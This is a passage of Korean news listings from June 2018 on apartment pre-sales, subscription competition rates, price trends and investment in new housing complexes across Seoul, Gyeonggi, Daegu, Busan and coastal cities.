수요자들의 부담이 덜하다는 것도 장점이다. 업계 관계자는 “가격 부담이 상대적으로 낮고 풍부한 인프라 공유가 가능한 경기도 새 아파트의 인기는 더욱 높아질 것으로 보인다”고 말했다.한편, 현대건설은 다음달 ‘힐스테이트 별내 스테이원’을 분양한다. 지하 3층~지상 46층, 3개동, 전용면적 66~134㎡, 총 578가구로 이뤄진다. 경춘선 별내역 역세권 단지로, 지하철 8호선 연장선 별내선이 2023년 개통되면 잠실역까지 20분대로 이동할 수 있다. GS건설은 7월 경기도 안양시 소곡지구 주택재개발을 통해 ‘안양씨엘포레자이’를 분양할 예정이다. 지하 5층~지상 27층, 13개동, 전용면적 39~100㎡, 총 1394가구로 이 중 791가구가 일반에 분양된다. 지하철 1호선 명학역이 단지에서 약 1㎞ 거리에 있어 명학역에서 신도림역 20분대, 서울역 40분대 도달이 가능하다.
2018.06.25 I 김기덕 기자
7호선 연장 등 호재..'e편한세상 양주신도시4차' 완판 기대 ↑
  • 7호선 연장 등 호재..'e편한세상 양주신도시4차' 완판 기대 ↑
  • ‘e편한세상 양주신도시4차’ 아파트 투시도. 대림산업 제공.[이데일리 성문재 기자] 대림산업(000210)은 경기 양주신도시 옥정지구 A-19(1) 블록에서 선보인 ‘e편한세상 양주신도시4차’ 아파트가 높은 계약률을 보였다며 이른 시일 내 완판이 예상된다고 24일 밝혔다. 업계에서는 앞서 분양한 e편한세상 양주신도시 1~3차의 성공이 이번 e편한세상 양주신도시4차에도 이어지고 있는 것으로 보고 있다. e편한세상 양주신도시1차와 2차의 경우 웃돈(프리미엄)이 최고 6000만원 가량 붙었다. 지난달 입주를 시작한 ‘e편한세상 양주신도시2차’의 경우 전용면적 84㎡가 3억3000만원 선에서 거래되고 있다. 분양가(약 2억8500만원대) 대비 4500만원 프리미엄이 붙은 가격이다. 이미 입주한 ‘e편한세상 양주신도시1차’ 전용 84㎡도 올초 3억3000만원에 거래됐다. 분양가(약 2억6790만원)보다 6200만원 이상 오른 셈이다. 이는 그동안 계획으로만 잡혀있던 7호선 연장과 경기북부 2차 테크노밸리 사업이 확정되는 등 개발 호재가 가시화하면서 합리적인 분양가가 부각된 때문으로 풀이된다. 국토교통부에 따르면 양주신도시 초입까지 조성되는 7호선 연장노선은 연내 착공에 들어갈 예정이다. 경기북부 2차 테크노밸리도 올 하반기 착공한다. 7호선 연장노선이 개통되면 강남구청역까지 50분대 이동이 가능해진다. 경기북부2차 테크노밸리가 완성돼 기업이 입주하면, 근로자 배후수요가 늘어날 전망이다.e편한세상 양주신도시4차 분양가(기준층 기준)는 전용 66㎡ 2억5330만원부터 84㎡ 2억9500만~2억9800만원으로 3억원 미만이다. 분양 관계자는 “수도권 신도시에서 이 가격으로 새 아파트를 분양받을 수 있는 곳은 드물다”며 “교통 개발로 서울까지 이동이 빨라져 젊은 수요자 중심으로 빠른 계약이 이뤄지고 있다”고 말했다. 이어 “주변 아파트 프리미엄이 4000만~5000만원 이상 형성돼 있어 투자 목적으로 계약하는 사람들도 상당히 많다”고 덧붙였다.e편한세상 양주신도시4차는 지하 1층~지상 최고 25층, 24개동, 전용 66~84㎡, 총 2038가구로 조성된다. 입주는 2020년 6월 예정이다.
2018.06.25 I 성문재 기자
e편한세상 용인 한숲시티에 청년 파머스마켓 열린다
  • e편한세상 용인 한숲시티에 청년 파머스마켓 열린다
  • 파머스마켓 이미지. 대림산업 제공.[이데일리 성문재 기자] 대림산업(000210)과 도농문화콘텐츠연구회가 22일 서울 종로구 대림산업 본사에서 사업협력을 위한 양해각서(MOU)를 체결했다.대림산업은 이번 사업협력을 통해 대림이 보유하고 있는 상업시설 등에 도농문화콘텐츠연구회의 청년 파머스마켓인 ‘청년얼장’을 정기적으로 운영할 계획이라고 밝혔다. 청년얼장은 ‘청년 얼굴 있는 농부시장’의 줄임말로, 정성을 담은 정직한 먹거리로 청년 농부들과 시민들이 소통하는 도심 속 농부시장이다. 대림산업은 다음 달부터 경기도 용인시 처인구에 위치한 ‘e편한세상 용인 한숲시티’ 대형 스트리트몰에 청년얼장을 정기적으로 운영해 마을 공동체 축제로 확대해 나갈 예정이다. 입주민들은 단지 내 스트리트몰에서 청년들이 친환경 농법으로 재배하고 가공한 먹거리들을 구입할 수 있다. 장터에서 함께 진행되는 다양한 입주민 참여 프로그램도 즐길 수 있다. 도농문화콘텐츠연구회는 농촌 청년이 재배한 친환경 농산물을 도시에 판매하고 올바른 소비를 위한 다양한 문화콘텐츠를 개발해 보급하고 있다. 또한 청년들의 창업 및 활동을 지원하고 도심 속 바른 먹거리를 체험할 수 있는 프로그램을 기획해 진행 중이다. 현재 서울 동대문 DDP에 농부들과 청년들이 생산한 먹거리를 판매하는 직거래 파머스마켓을 운영하고 있다. 대림산업 관계자는 “e편한세상 용인 한숲시티를 시작으로 향후 사업을 진행하는 아파트 상업시설 등에 파머스마켓을 순차적으로 확대할 예정”이라고 말했다.홍천기(왼쪽) 도농문화콘텐츠연구회 대표와 박지수 대림산업 상무가 양해각서 서명을 마친 후 기념촬영하고 있다. 대림산업 제공.
2018.06.22 I 성문재 기자
바다 조망되는 씨뷰 아파트 속속 분양
  • 바다 조망되는 씨뷰 아파트 속속 분양
  • 바다조망을 확보하고 있는 부산 해운대 인근 단지[출처=이미지투데이][이데일리 권소현 기자] 공원·강·바다·숲 등 아파트 창문 너머로 보이는 조망에 따라 아파트값이 달라지면서 조망권이 주요 프리미엄으로 떠오르고 있다. 특히 바닷가를 끼고 있는 지역에서는 바다를 볼 수 있는 씨뷰(Sea View) 아파트가 분양시장에서도 인기다. 탁 트인 바다를 볼 수 있는데다 여름철에는 집 가까이서 휴가를 즐길 수 있어 만족도가 높다. 게다가 바다 조망권을 갖춘 단지들은 시세 상승률이 높고 세컨드 하우스로도 이용할 수 있어 투자대상으로도 손색이 없다는 평가다. 지난해 7월 부산시 수영구 광안리해변 인근에서 공급한 ‘e편한세상 오션테라스’는 단지에서 바다가 가깝다는 점이 부각되면서 1순위 청약에서 평균 228대 1의 청약경쟁률을 기록했다. 지난해 12월 강원도 속초시에서 분양한 ‘속초 양우내안애 오션스카이’도 동해 바다 조망권 프리미엄 덕에 1순위 청약결과, 평균 29대 1의 청약 경쟁률을 보였다. 올 6~8월에도 바다에 인접한 강원도 속초시, 부산광역시, 경상남도 통영시 등에서 신규 물량이 속속 나올 전망이다.우선, 강원도 속초시 일대에서는 동해 조망이 가능한 현대건설의 ‘힐스테이트 속초 센트럴’이 7월 분양을 앞두고 있다. 지하 5층~지상 최고 36층, 총 4개 동 중 아파트 3개 동, 전용면적 78~114㎡ 256가구, 오피스텔 1개 동, 전용면적 24~27㎡ 138실 규모다. 단지는 36층 초고층 단지로 지어지며 일부를 제외한 대부분의 세대에서 속초 바다·설악산·청초호·속초 도심을 한눈에 내려다볼 수 있는 파노라마 뷰를 확보하고 있다. 오피스텔 입주민을 위해서는 속초의 자연 경관을 감상할 수 있는 스카이 전망대와 전망용 엘리베이터도 설치된다. 부산광역시 수영구에 위치한 광안리해수욕장 인근에서는 아이에스동서가 오는 7월 부산 광안2구역 주택재건축을 통해 ‘부산 광안동 에일린의 뜰’을 공급할 예정이다. 부산광역시 수영구 광안4동에 들어서며, 총 225가구 중 160가구를 일반에 분양한다. 단지에서 광안역을 도보로 이용할 수 있고, 호암초, 동아중, 수영중이 인접해 있어 교육여건이 우수하다.경상남도 통영시 일대에서는 흥한건설이 ‘통영의 아침 에르가’를 6월 분양할 예정이다. 경상남도 통영시 광도면 죽림리에 지어지며 지상 최고 27층, 2개 동, 전용면적 84~110㎡ 총 136가구 규모다. 단지가 바다와 바로 인접해 있어 조망이 탁월하다. 경상남도 거제시 일대에는 한화건설이 장평주공1단지를 재건축한 ‘거제 장평 꿈에그린’을 7월 분양할 예정이다. 단지는 총 817가구 중 조합원 분을 제외한 262가구를 일반에 분양한다. 단지 인근으로 죽림해수욕장, 고현항, 계룡산 등이 위치해 있다. 거제시청, 거제시법원 등의 공공기관도 가깝다.전라남도 목포시에서는 서해바다와 영산호가 가까운 중흥건설의 ‘목포 상동 중흥S클래스’가 8월 분양할 예정이다. 단지는 총 716가구 규모다. 목포종합버스터미널이 인근에 위치해 있으며, 이마트 목포점, 목포기독병원 등의 생활편의시설도 가깝게 이용할 수 있다.
2018.06.20 I 권소현 기자
삼호 ‘e편한세상 문래’ 계약 100% 완료
  • 삼호 ‘e편한세상 문래’ 계약 100% 완료
  • e편한세상 문래 투시도. 삼호 제공.[이데일리 성문재 기자] 삼호(001880)가 서울 영등포구 문래동6가에서 분양한 ‘e편한세상 문래’의 계약이 예비입주자 추첨(6월 8일)을 마지막으로 모두 완료됐다.12일 삼호에 따르면 e편한세상 문래는 134가구 모집(특별공급 제외)에 4236명(당해 기준)이 청약을 신청, 평균 31.61 대 1, 최고 111.78 대 1의 경쟁률로 전 주택형이 1순위에 마감됐으며 계약도 100% 완료됐다.e편한세상 문래 분양소장은 “청약접수에서 좋은 성적을 거둬 계약 역시 순조롭게 마무리할 수 있을 것으로 기대했다”며 “입주민에게 보다 나은 주거 서비스를 제공하고, 향후 영등포를 대표하는 랜드마크 주거지로 우뚝 설 수 있도록 성실 시공으로 보답하겠다”고 전했다. 이 단지는 총 263가구 규모로 지하 2층~지상 20층, 4개동, 전용면적 59~84㎡로 구성된다. 전용면적별로 △59㎡A 124가구 △59㎡B 36가구 △59㎡C 55가구 △84㎡ 14가구다.지하철 2호선 문래역과 5호선 양평역을 도보로 이용할 수 있고, 2021년을 목표로 서부간선도로 지하화 사업(왕복 4차선 지하도로)이 추진 중이다. 홈플러스, 영등포 타임스퀘어, 현대백화점 등의 편의시설이 인근에 위치하고 영문초, 문래중, 관악고 등 초·중·고 모두 도보 통학이 가능하다. 입주는 2020년 10월 예정이다.
2018.06.12 I 성문재 기자
도시재생 뉴딜사업 덕에 인근 지역 부동산 기대감 ↑
  • 도시재생 뉴딜사업 덕에 인근 지역 부동산 기대감 ↑
  • 안성 공도 우방 아이유쉘 투시도[이데일리 박민 기자] 문재인 정부의 핵점 사업의 하나인 ‘도시재생 뉴딜사업’ 일대 부동산에 수요자들의 관심이 높아지고 있다. 뉴딜사업을 통해 일대 노후 주거지가 정비되고, 혁신공간이 조성 및 지역 기반 일자리 창출로 도시에 새로운 활력이 불 것으로 기대되고 있어서다.금융결제원에 따르면 동원개발이 지난 2월 부산 사하구 괴정동 575-1번지 일원에서 분양한 ‘사하역 비스타 동원’ 은 159가구 모집에 1961명이 몰려 12.33대 1의 청약 경쟁률을 기록했다. 이는 전년도 사하구 전체 평균 청약 경쟁률인 9.56대 1보다 높은 수치다. 도시재생으로 활기를 띠고 있는 부산 사하구 감천문화마을과 천마마을 인근에서 공급이 이뤄져 수요자들의 관심을 끌었다는 게 회사 측의 평가다. 지역균형발전과 일자리 창출을 위해 추진되는 도시재생 뉴딜사업은 향후 5년간 총 50조원이 투입되는 현 정부 역점 사업이다. 주요 사업 내용은 생활편의시설, 문화생활공간, 교통 인프라, 주택 정비, 공공임대 주택, 노후시장 개선, 창업공간 지원 등이다. 지난해 12월 전국 68개 사업지역 선정에 이어 오는 8월 전국 100곳을 선정할 예정이다. 업계 한 전문가는 “지자체는 물론 지역민들도 발 벗고 나서 도시재생 뉴딜사업 공모에 참여하고 있을 정도로 관심이 많다” 며 “뉴딜이 성공적으로 시행될 경우 지역 내 인프라뿐만 아니라 일자리도 창출되면서 새로운 경제적 기반이 마련되는 만큼 일대 인근 지역 단지도 관심을 둬볼 만하다”고 말했다.도시재생 뉴딜사업 지구 선정으로 개발 호재가 전망되는 강원 태백시 장성동 탄탄마을 인근에서는 동아건설산업이 ‘태백 장성 동아 라이크 텐’ 을 공급하고 있다. 이 아파트는 태백시 장성동 167-15번지에 지상 15층, 3개동, 총 202가구(전용 83~116㎡)로 지어진다. 단지 3km 이내에 태백경찰서·태백종합병원·교육지원청 ·강원소방학교가 있다. 장성초·중, 태백중 등 학교 시설과 농협 하나로마트 등 생활 인프라가 풍부하다. 전남 순천에서는 장천동 · 남제동과 저전동 일원 등 2개 지역이 도시재생 뉴딜사업지가 선정됐다. 사업지 일대 용당동에서는 대림산업이 ‘e편한세상 순천’ 총 605가구를 분양하고 있다. 단지 1km 이내에 어린이집 9개소와 초등학교 4곳·중학교 2곳·고등학교 2곳·대학교 1곳이 자리해 교육여건이 우수하다. 인근에 대형마트와 5일장·상설시장이 위치해 생활환경도 편리하다.또 다른 도시재생 뉴딜사업지인 경북 포항시 북구 인근에서는 SK건설과 대우건설이 ‘두호 SK VIEW 푸르지오’ 를 공급하고 있다. 포항시 북구 두호동에서 지상 29층, 14개동, 전용면적 74 ~ 84㎡ 총 1321가구로 조성된다. 이중 657가구가 일반에 분양 중이다. 지역 특성상 일반 내진설계 대비 우수한 연성능력을 확보한 제진설계로 건축한다.대규모 물류단지가 들어설 예정인 경기도 안성시에서는 SM상선 건설부문이 ‘안성 공도 우방 아이유쉘’ 을 분양하고 있다. 안성시 공도읍 승두리 일원에서 지상 26층, 7개동, 전용면적 62 ~ 84㎡ 총 715가구로 짓는다. 인근에 ‘스타필드 안성’ 이 조성될 예정으로 향후 쇼핑 · 문화생활을 한 번에 해결할 수 있다. 도보권에 공도초 · 중, 경기창조고 등이 있다.
2018.06.08 I 박민 기자
HDC 현대산업개발, '여주 아이파크' 526가구 6월 분양
  • HDC 현대산업개발, '여주 아이파크' 526가구 6월 분양
  • [이데일리 e뉴스 김민정 기자] HDC 현대산업개발이 오는 6월 경기도 여주시 현암동 일대에 ‘여주 아이파크’를 분양할 예정이라고 7일 밝혔다.여주 아이파크는 지하 2층~지상 23층 6개 동 전용면적 84㎡(84㎡A 392가구, 84㎡B 134가구) 총 526가구로 이뤄졌는데 남한강과 현암지구 수변공원 조망권을 확보한 것이 특징이다. 단지가 남한강 및 현암지구 수변공원과 마주하고 있어 실내에서 수려한 남한강 및 현암지구 수변공원 조망은 물론 쾌적한 주거생활을 누릴 수 있다. 특히 현암지구 수변공원은 한강 8경 중 4경(이능경)에 속해 있는 곳으로 야외전시장, 물결화단, 생태학습장, 축구장, 리틀야구장, 피크닉장 등의 다양한 시설이 조성돼 있어 여가활동을 쉽게 즐길 수 있다. 교통망도 잘 갖춰져 있다. 경강선 여주역을 통해 판교·분당까지 40분대 이동이 가능하고, 현암로, 강변북로 등의 도로망과 인접해 있어 여주 도심 접근성은 물론 중부내륙고속도로(서여주 IC), 영동고속도로(여주IC), 광주~원주 고속도로(대신 IC) 등의 광역도로망으로도 쉽게 이동이 가능하다. 단지 주변으로 축협하나로마트, 오학마트 비롯해 여주 도심에 위치한 중앙로 문화의 거리, 여주시청, 여주세종병원, 여주종합터미널, 이마트(여주점) 등의 편의시설을 이용할 수 있으며, 오학초, 여주중, 여주여중, 세종고 등의 교육시설로 통학이 가능하다. 인근에 법조타운과 꾸준한 인구유입으로 배후수요도 풍부하다. 단지 맞은 편 도보권에 수원지방법원 여주지원, 수원지방검찰청 여주지청 등 법조타운이 있으며, 여주시 인구도 지난해 말 기준 11만 5496명(여주시청 자료)으로 2013년(10만 9343명) 이후 4년 연속 증가세를 보이고 있다. 또한 신흥주거벨트 조성에 따라 미래가치도 기대할 수 있다. 현재 단지 인근으로 여주 e편한세상, 여주 오드카운티, 이안 여주강변, 여주 신도브래뉴 등 약 3500여 가구에 달하는 단지들이 길게 자리잡고 있다. 단지 남동측 오학동·천송동 일대 5만 5416㎡ 부지에는 오학천송지구도시개발사업도 추진 중에 있어, 남한강 강북지역에 신흥 주거벨트가 형성될 전망이다. 단지는 전세대 남향(남서/남동향) 배치로 우수한 조망권 및 채광성을 확보하였다. 실내는 4-bay 판상형 맞통풍 설계로 통풍성이 우수하며, 대면형 주방 설계로 개방감을 높였다. 이와 함께 워크인신발장, 알파룸, 팬트리, 통풍이 가능한 드레스룸 등 수납공간을 제공해 공간활용도를 극대화했다. 또한 통경축 및 필로티 계획으로 단지의 개방감을 높였고, 단지 중앙부에는 공원과 연계한 다채로운 외부 커뮤니티 공간도 조성될 예정이다. 여기에 피트니스, 키즈 도서관 등 단지의 규모와 주변 현황을 고려한 커뮤니티시설들도 들어설 계획이다. 분양 관계자는 “여주는 경강선과 광역도로망 개통으로 서울 및 타지역으로 접근성이 크게 개선된데다 정부의 규제에도 적용되지 않아 수요자들의 관심이 높아지고 있는 상황이다”며 “여기에 최근에 공급된 단지 인근의 아파트가 단기간 완판에 따른 프리미엄이 형성돼 있고, 아이파크 브랜드로는 여주시에 첫 선을 보이는 만큼 좋은 결과를 기대하고 있다”고 설명했다. 한편 ‘여주 아이파크’는 경기도 여주시 홍문동에서 분양홍보관을 운영 중이며, 주택전시관은 경기도 여주시 현암동 일대에 6월 중 개관할 예정이다.
2018.06.07 I 김민정 기자
강남 4구 아파트값 9주째 하락…강동 9호선 효과는 지속
  • 강남 4구 아파트값 9주째 하락…강동 9호선 효과는 지속
  • [이데일리 권소현 기자] 서울 강남4구(강남·서초·송파·강동구)가 포함된 서울 동남권 아파트값이 9주째 하락세를 이어가면서 서울 전체 아파트값 상승률도 더 둔화됐다. 재건축 초과이익 환수제 부담금 여파가 계속되는 모습이다. 다만 낙폭은 전주에 비해 다소 줄었고 지하철 9호선 연장 예비타당성 통과 호재를 맞은 강동구 역시 나홀로 상승세를 이어갔다. 수도권에서는 경기 과천시의 아파트값이 36주만에 하락세로 돌아섰다. 7일 한국감정원에 따르면 6월 첫째 주(6월 4일 기준) 서울 주간 아파트 매매가격은 전주에 비해 0.02% 올랐다. 강남4구가 속해 있는 동남권 아파트값은 0.09% 하락했다. 전주 0.11% 떨어졌던 것에 비하면 낙폭이 다소 둔화됐지만 4월 둘째 주부터 9주 연속 하락세다. 강남구와 송파구는 각각 0.14%, 0.15% 내려 전주에 비해 낙폭이 줄었지만 서초구(-0.06%)는 하락폭이 전주 대비 두배로 커졌다. 다만 강동구는 0.09% 올라 강남4구 중에서도 3주째 홀로 상승세를 이어갔다. 영등포구와 동대문구가 나란히 0.17% 오르면서 서울 25개 자치구 중 가장 큰 폭의 상승세를 보였다. 영등포구에서는 ‘영등포 중흥S클래스’와 ‘e편한세상 문래’ 분양이 높은 청약경쟁률로 1순위에서 마감된데다 여의도와 영등포동 재건축·재개발 사업 진척 등이 호재로 작용했다. 동대문구에서는 ‘래미안답십리 미드카운티’ 등 대단지 신규 입주와 하반기 신규 분양 기대감 등이 작용했다. 서대문구 역시 정비사업 구역 인근과 일부 저평가 단지 위주로 아파트값이 오르면 0.16% 상승했다. 하지만 전주 0.19%에 비해서는 오름폭이 다소 둔화됐다. 광진구도 3주 연속 하락세를 이어갔고 양천구도 2주째 내리막길을 걸었다. 노원구는 한 주만에 다시 하락세로 돌아서 0.03% 떨어졌다. 수도권에서는 경기도 과천이 0.05% 떨어져 36주만에 하락세로 돌아섰다. 한국감정원 관계자는 “보유세 개편 논의, 대출금리 상승, 공급 물량 증가 등 집값 하방요인과 더불어 6·13지방선거를 앞두고 관망세가 우세하다”며 “서울은 직주근접 수요와 정비사업, 청약시장 호조 등의 영향으로 집값이 소폭 상승했다”고 말했다. 한편 서울 아파트 전세가격은 16주 연속 떨어졌다. 낙폭은 0.04%로 전주 0.11%에 비해 다소 완화됐다. 서울 자체와 인근 신도시 신규 입주 영향으로 전세 공급이 풍부해지면서 하락세가 이어진 것이다. 강남권 11개구는 0.07% 하락해 강북(-0.01%)보다 낙폭이 컸다. 다만 정비사업 이주 시기가 다가오면서 서초구의 전세값 하락세는 둔화됐고 강동구는 상승해서 낙폭은 전주 0.19%에 비해 크게 완화됐다. 감정원 관계자는 “종로구는 도심권 업무지구 출퇴근 수요로 전세값 상승세가 이어졌고 중랑구는 역세권 단지 중심으로 상승폭이 확대됐다”며 “하지만 강남4구는 자체 뿐 아니라 인근 위례신도시 신규 공급 증가로 기존 단지 전세 물건들이 많아지면서 가격 하락세를 이어갔다”고 말했다. 서울 전세가격지수 변동률[한국감정원]
2018.06.07 I 권소현 기자
규제 적고 가격 저렴.. 대구·부산 청약 열기 ‘앗 뜨거워’
  • 규제 적고 가격 저렴.. 대구·부산 청약 열기 ‘앗 뜨거워’
  • [이데일리 이미나 기자][이데일리 정다슬 기자] 아파트 분양시장에서 최근 1년 간 청약경쟁률이 가장 높았던 곳은 어디일까? 서울일까? 아니다. 정답은 대구다. 서울은 6위에 그쳤다.부동산 전문 리서치업체 리얼투데이가 금융결제원 자료를 바탕으로 지난해 6월 4일부터 올해 6월 1일까지 평균 1순위 청약경쟁률을 비교해본 결과에 따르면 대구가 42.25대 1로 전국에서 가장 높았다. 같은 기간 전국 평균 1순위 청약경쟁률은 13.08대 1였다.대구 다음으로 청약경쟁률이 높은 지역은 부산(42.42대 1)이었다. 이어 세종(38.97대 1)·대전(30.32대 1)·광주(23.9대 1)·서울(15.19대 1) 순으로 나타났다. 서울 분양시장은 최근 몇년 새 꾸준히 호황을 누리며 관심을 받았지만, 실제 청약 경쟁 열기는 지방광역시와 세종시가 더 높았던 것이다. 이는 지방광역시 등이 서울에 비해 상대적으로 규제가 적고 가격도 저렴했기 때문으로 분석된다. 지난 1월 대구 중구 남산동에 공급된 ‘e편한세상 남산’은 당첨과 동시에 분양권 프리미엄(웃돈)이 1억원 이상 붙을 것이란 전망이 확산되면서 1순위 평균 346.51대 1로 전국 최고 경쟁률을 기록했다. 당첨되면 등기 이전까지 보유해야 하는 서울 등과 달리 이 아파트는 전매 제한 기간이 분양 계약 후 6개월에 불과하다는 점도 투자자들의 관심을 끌었다. 대구는 수성구만 분양권 전매 제한이 강화된 투기과열지구로 지정됐다. 대구 북구 복현동 ‘복현 자이’ 171.41대 1, 대구 북부 ‘오페라 트루엘 시민의숲’ 198.66대 1 등도 세자리 숫자가 넘는 청약경쟁률을 보였다. ,재개발 사업의 분양이 속속 이어지면서 대구지역 분양 열기는 당분간 지속될 전망이다. 삼도주택㈜는 이달 수성구 파동 일대에 들어서는 ‘더펜트하우스 수성’(전용면적 140~150㎡ 143가구)을 분양한다. 전 가구에서 앞산 조망이 가능해 사계절의 변화를 있는 그대로 감상할 수 있다. 법니산과 수성못 등 쾌적한 자연환경과 수성구의 도심 인프라를 동시에 누릴 수 있다. 전 가구에 넓은 테라스와 알파룸 등 공간활용을 극대화했으며 최첨단 보안시스템으로 안전성도 갖췄다. 신천대로, 신천동로, 지산~대곡간 4차 순환도로, 파동IC 등 편리한 광역교통망도 갖추고 있어 시내와 타 지역으로 이동하기 쉽다.HDC현대산업개발도 이달 동구 지묘동 연경지구 C-2블록 일원에서 ‘대구 연경 아이파크’(전용 84~104㎡ 792가구)를 분양한다. 단지는 뒤로 팔공산, 앞으로는 동화천을 낀 입지로 쾌적한 주거환경을 누릴 수 있다. 인근 이시아폴리스권역 및 칠곡권역, 대구혁신도시 등으로 접근성이 편리하다. 롯데아울렛 이시아폴리스점, 코스트코 대구점 등 대형 유통시설 및 대구시청, 대구국제공항 등도 쉽게 이용할 수 있다.롯데건설 역시 이달 중 중구 남산동 남산2-2구역에서 ‘남산 롯데캐슬 센트럴스카이’를 공급할 예정이다. 총 987가구로 이 중 630가구(전용 59~101㎡)가 일반에 분양된다. 대구지하철 2·3호선 환승역인 신남역을 이용할 수 있다. 단지 인근에 남산초등학교가 있다. 서문시장과 현대백화점, 대구가톨릭대 등도 가깝다.
2018.06.06 I 정다슬 기자
전국 상위 1% 희소성에 5000가구 넘는 단지 내 상가 '주목'
  • 전국 상위 1% 희소성에 5000가구 넘는 단지 내 상가 '주목'
  • 그랑시티자이 에비뉴 투시도.[이데일리 박민 기자] 전국 상위 1%대의 희소성을 갖춘 5000가구 이상 초대형 단지 내 상가가 주목받고 있다. 대단지 프리미엄은 물론 상가 투자의 핵심 요소인 배후수요 확보가 안정적이다 보니 관심이 쏠리고 있는 것이다.5일 부동산114에 따르면 2000년부터 올해까지 전국에서 입주를 마친 1만 4512개의 단지 중 5000가구 이상 대단지는 단 8곳에 불과하다. 비율로만 놓고 보면 전체 0.06%로 1%대가 채 되지 않은 미미한 수준이다.대표적으로 서울 송파구 신천동 ‘잠실파크리오’(6864가구), 잠실동 ‘리센츠’(5563가구), ‘잠실엘스’(5678가구) 등이 있다. 인천에는 구월동 ‘구월힐스테이트1단지’(5076가구)가 있다. 지방에서는 부산 북구 화명동의 ‘롯데캐슬카이저’(5239가구) 1곳뿐이다. 이들 5000가구 이상 대단지는 아파트 고정수요를 독점하는 까닭에 단지 내 상가 수익률 또한 남다르다. 서울 성북구 미아동에 있는 ‘SK북한산시티’(5327가구) 단지 내 상가인 전용 75㎡(2층)는 매매가격 5억 5000만원으로, 임대료는 보증금 5000만원에 월 300만원이 형성돼 있다. 연 수익률이 연 7.20%다.반면 같은 미아동에 위치한 1344가구 규모의 ‘미아뉴타운삼각산아이원’ 단지 내 상가는 전용 58㎡(2층)의 투자 수익률이 4.96%(매매가 4억원, 보증금 1300만원, 월 임대료 160만원 기준)에 그쳤다.부동산114 관계자는 “상가 투자 수익률이 차이를 보이는 가장 큰 이유는 고정수요 확보에 있다”며 “초대형 단지는 대단지 입주민의 고정수요를 독점할 수 있어 상권 활성화에 유리하기 때문”이라고 말했다.초대형 대단지는 공급이 많지 않은 만큼 상가 희소성도 꾸준히 유지될 것으로 보인다. 최근 몇년간 서울 등 수도권에서 신규로 공급된 5000가구 이상 대단지는 ‘e편한세상 용인 한숲시티’(6800가구), ‘송파헬리오시티’(9510가구), ‘안산 그랑시티자이’(7653가구) 등에 불과하다.분양대행사 상림디엠텍 임민섭 대표는“5000가구 이상의 고정 수요를 확보한 대단지 내 상가는 상권 활성화가 원활해 임차인 모집 확보에도 유리하다”며 “최근 아파트 대출 규제 여파로 투자자들의 관심이 비교적 규제에서도 자유로운 상가로 옮겨가고 있어 초대형 대단지 상가의 인기는 더 높아질 것”이라고 말했다.
2018.06.05 I 박민 기자
서울만 청약 열기 뜨겁다고?…경쟁률 높은 곳은 대구·부산·세종
  • 서울만 청약 열기 뜨겁다고?…경쟁률 높은 곳은 대구·부산·세종
  • [이데일리 정다슬 기자]최근 1년간 전국에서 최고 청약경쟁률을 기록하고 있는 곳은 대구인 것으로 나타났다. 서울은 6위에 그쳤다.5일 리얼투데이가 금융결제원 자료를 바탕으로 지난해 6월 4일부터 올해 6월 1일까지 평균 1순위 청약경쟁률을 비교해본 결과 대구가 42.25대 1로 가장 높았다. 같은 기간 전국 평균 1순위 청약경쟁률은 13.08대 1였다.대구 다음으로 청약경쟁률이 높은 지역은 부산(42.42대 1)·세종(38.97대 1)·대전(30.32대 1)·광주(23.9대 1)·서울(15.19대 1) 순으로 나타났다. 서울 분양시장은 꾸준히 호황기를 누려오며 전국적인 관심을 받아왔지만 실제 경쟁열기는 지방광역시·특별시가 더 높았던 것이다.이같은 현상이 나타난 이유로는 서울에 비해 상대적으로 규제가 적고 가격도 저렴했기 때문으로 분석된다. 실제 지난 1월 대구 중구 남산동에 공급된 ‘e편한세상 남산’은 당첨과 동시에 분양권 프리미엄이 1억원 이상 붙을 것이란 전망이 확산되며 1순위 평균 346.51대 1로 전국 최고 경쟁률을 기록한 바 있다. 당첨되면 등기 이전까지 보유해야 하는 서울 등과 달리 이 아파트는 전매제한 기간이 6개월에 불과하다는 점도 투자자들의 관심을 끌었다. 대구는 수성구만 투기과열지구로 지정됐다.이어 대구 북구 복현동 ‘복현자이’ 171.41대 1, ‘대구 봉덕 화성파크드림 수성구 범어동 ‘대구 범어네거리 서한이다음’ 280.06대 1, 대구 북부 ‘오페라 트루엘 시민의숲’ 198.66대 1 등도 세자리 숫자가 넘는 청약경쟁률을 보였다. ,재개발 사업의 분양이 속속들이 이어지면서 대구 지역 분양 열기는 오는 6월에도 지속될 전망이다. 삼도주택㈜는 6월 수성구 파동 118-211번지 일원에 ‘더펜트하우스 수성’을 분양한다. 이 단지는 17개 동, 전용면적 △140㎡ 84가구 △150㎡ 59가구 등 총 143가구로 구성된다. 단지는 전 가구에서 앞산 조망이 가능해 사계절의 변화를 있는 그대로 감상할 수 있을 뿐만 아니라 법니산, 수성못 등 쾌적한 자연환경과 수성구의 도심 인프라를 동시에 누릴 수 있다. 전 가구에 넓은 테라스와 알파룸 등 공간활용을 극대화했으며 최첨단 보안시스템으로 안전성도 갖췄다. 단지 인근으로 초·중교가 위치하고 있으며 지역 내 우수 명문학교와 인접해 있다. 또 가구당 주차대수는 2대 이상으로 넓은 주차공간을 갖췄으며 단지 내 커뮤니티시설로는 스크린골프연습장, 휘트니스센터, 파티홀, 놀이마당 등이 들어설 예정이다. 신천대로, 신천동로, 지산~대곡간 4차 순환도로, 파동IC 등 편리한 광역교통망도 갖추고 있어 시내와 타 지역으로의 이동이 쉽다.HDC현대산업개발은 6월 동구 지묘동 연경지구 C-2블록 일원에 ‘대구 연경 아이파크’를 분양한다. 이 단지는 지하 2층~지상 최고 18층, 11개동, 전용 84~104㎡ 총 792가구 규모다. 단지는 뒤로 팔공산, 앞으로는 동화천을 낀 입지로 쾌적한 주거환경을 누릴 수 있다. 인근 이시아폴리스권역 및 칠곡권역, 대구혁신도시 등으로 접근성이 편리해 롯데아울렛 이시아폴리스점, 코스트코 대구점 등 대형 유통시설 및 대구시청, 대구국제공항 등 이용이 가능하다. 지구 내 중심상업지역과 근린생활시설용지, 공공기관 부지 등도 가까이 위치해 주거 편의성도 높다.롯데건설 역시 이달 중 중구 남산동 130-2번지 일원에 남산2-2구역 재개발사업인 ‘남산 롯데캐슬 센트럴스카이’를 공급할 예정이다. 단지는 지하 2층~지상 34층, 11개동 총 987가구 규모로 지어지며 이 중 전용면적 59~101㎡ 630가구가 일반에 분양된다. 단지 인근으로 대구지하철 2·3호선 환승역인 신남역 이용이 가능하며 남산초등학교가 가깝다. 인근에는 서문시장, 현대백화점, 대구가톨릭대 등 생활 인프라가 